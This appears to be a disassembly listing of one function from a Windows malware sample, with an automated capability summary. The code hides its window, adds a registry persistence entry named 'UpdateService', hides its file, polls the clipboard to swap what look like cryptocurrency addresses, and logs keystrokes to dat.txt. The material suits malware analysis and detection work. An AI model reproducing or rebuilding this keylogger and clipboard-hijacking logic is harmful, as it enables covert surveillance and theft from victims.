Function at 0x140002d2c
Capabilities:
Hide graphical window
Log keystrokes via polling
Set file attributes

Disassembly:
push rbp
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0x1c0]
mov rcx, rax
call dbg.getPath[abi:cxx11]()
lea rax, [rbp + 0x1c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov qword [rbp + 0x3e0], rax
lea rax, [rbp + 0x1c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, qword [rbp + 0x3e0]
mov rdx, rax
lea rax, str.UpdateService
mov rcx, rax
call dbg.writeReg(char const*, char const*)
mov rax, qword [rbp + 0x3e0]
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call rax
mov byte [rbp + 0x3df], 0x78
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400037e8
mov ecx, 0x32
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call dbg.getClipboardVal()
mov qword [rbp + 0x3d0], rax
lea rax, [rbp + 0x1ef]
mov rcx, rax
call fcn.140003880
lea rcx, [rbp + 0x1ef]
mov rdx, qword [rbp + 0x3d0]
lea rax, [rbp - 0x60]
mov r8, rcx
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0x1ef]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x21f]
mov rcx, rax
call fcn.140003880
lea rcx, [rbp + 0x21f]
mov rdx, qword [rbp + 0x3d0]
lea rax, [rbp + 0x1f0]
mov r8, rcx
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0x1f0]
mov rcx, rax
call dbg.checkFormat(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
cmp eax, 1
sete bl
lea rax, [rbp + 0x1f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x21f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
test bl, bl
je 0x140002ecb
lea rax, [rbp + 0x220]
lea rdx, [0x14000b060]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x220]
mov rcx, rax
call dbg.setAddress(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x220]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x1400031e1
lea rax, [rbp + 0x26f]
mov rcx, rax
call fcn.140003880
lea rcx, [rbp + 0x26f]
mov rdx, qword [rbp + 0x3d0]
lea rax, [rbp + 0x240]
mov r8, rcx
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0x240]
mov rcx, rax
call dbg.checkFormat(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
cmp eax, 2
sete bl
lea rax, [rbp + 0x240]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x26f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
test bl, bl
je 0x140002f6a
lea rax, [rbp + 0x270]
lea rdx, [0x14000b080]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x270]
mov rcx, rax
call dbg.setAddress(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x270]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x1400031e1
lea rax, [rbp + 0x2bf]
mov rcx, rax
call fcn.140003880
lea rcx, [rbp + 0x2bf]
mov rdx, qword [rbp + 0x3d0]
lea rax, [rbp + 0x290]
mov r8, rcx
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0x290]
mov rcx, rax
call dbg.checkFormat(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
cmp eax, 3
sete bl
lea rax, [rbp + 0x290]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2bf]
mov rcx, rax
call sym.std::allocator_char_::allocator__
test bl, bl
je 0x140003009
lea rax, [rbp + 0x2c0]
lea rdx, [0x14000b0a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x2c0]
mov rcx, rax
call dbg.setAddress(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x2c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x1400031e1
lea rax, [rbp + 0x30f]
mov rcx, rax
call fcn.140003880
lea rcx, [rbp + 0x30f]
mov rdx, qword [rbp + 0x3d0]
lea rax, [rbp + 0x2e0]
mov r8, rcx
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0x2e0]
mov rcx, rax
call dbg.checkFormat(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
cmp eax, 4
sete bl
lea rax, [rbp + 0x2e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x30f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
test bl, bl
je 0x1400030a8
lea rax, [rbp + 0x310]
lea rdx, [0x14000b0c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x310]
mov rcx, rax
call dbg.setAddress(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x310]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x1400031e1
lea rax, [rbp + 0x35f]
mov rcx, rax
call fcn.140003880
lea rcx, [rbp + 0x35f]
mov rdx, qword [rbp + 0x3d0]
lea rax, [rbp + 0x330]
mov r8, rcx
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0x330]
mov rcx, rax
call dbg.checkFormat(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
cmp eax, 5
sete bl
lea rax, [rbp + 0x330]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x35f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
test bl, bl
je 0x140003147
lea rax, [rbp + 0x360]
lea rdx, [0x14000b0e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x360]
mov rcx, rax
call dbg.setAddress(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x360]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x1400031e1
lea rax, [rbp + 0x3af]
mov rcx, rax
call fcn.140003880
lea rcx, [rbp + 0x3af]
mov rdx, qword [rbp + 0x3d0]
lea rax, [rbp + 0x380]
mov r8, rcx
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0x380]
mov rcx, rax
call dbg.checkFormat(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
cmp eax, 6
sete bl
lea rax, [rbp + 0x380]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3af]
mov rcx, rax
call sym.std::allocator_char_::allocator__
test bl, bl
je 0x1400031e1
lea rax, [rbp + 0x3b0]
lea rdx, [0x14000b100]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x3b0]
mov rcx, rax
call dbg.setAddress(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x3b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov dword [rbp + 0x3ec], 8
jmp 0x140003291
mov eax, dword [rbp + 0x3ec]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
cmp ax, 0x8001
sete al
test al, al
je 0x14000328a
mov eax, dword [rbp + 0x3ec]
mov ecx, eax
call dbg.SpecialKeys(int)
movzx eax, al
test eax, eax
sete al
test al, al
je 0x14000328a
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.140003850
lea rax, [rbp - 0x40]
mov r8d, 1
lea rdx, str.dat.txt
mov rcx, rax
call sym.std::basic_fstream_char__std::char_traits_char___::open_char_const__std::_Ios_Openmode_
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::basic_fstream_char__std::char_traits_char___::is_open__
test al, al
je 0x14000327e
mov eax, dword [rbp + 0x3ec]
movsx eax, al
lea rdx, [rbp - 0x40]
lea rcx, [rdx + 0x10]
mov edx, eax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::basic_fstream_char__std::char_traits_char___::close__
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::basic_fstream_char__std::char_traits_char___::basic_fstream__
add dword [rbp + 0x3ec], 1
cmp dword [rbp + 0x3ec], 0xbe
jle 0x1400031f0
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140002dd7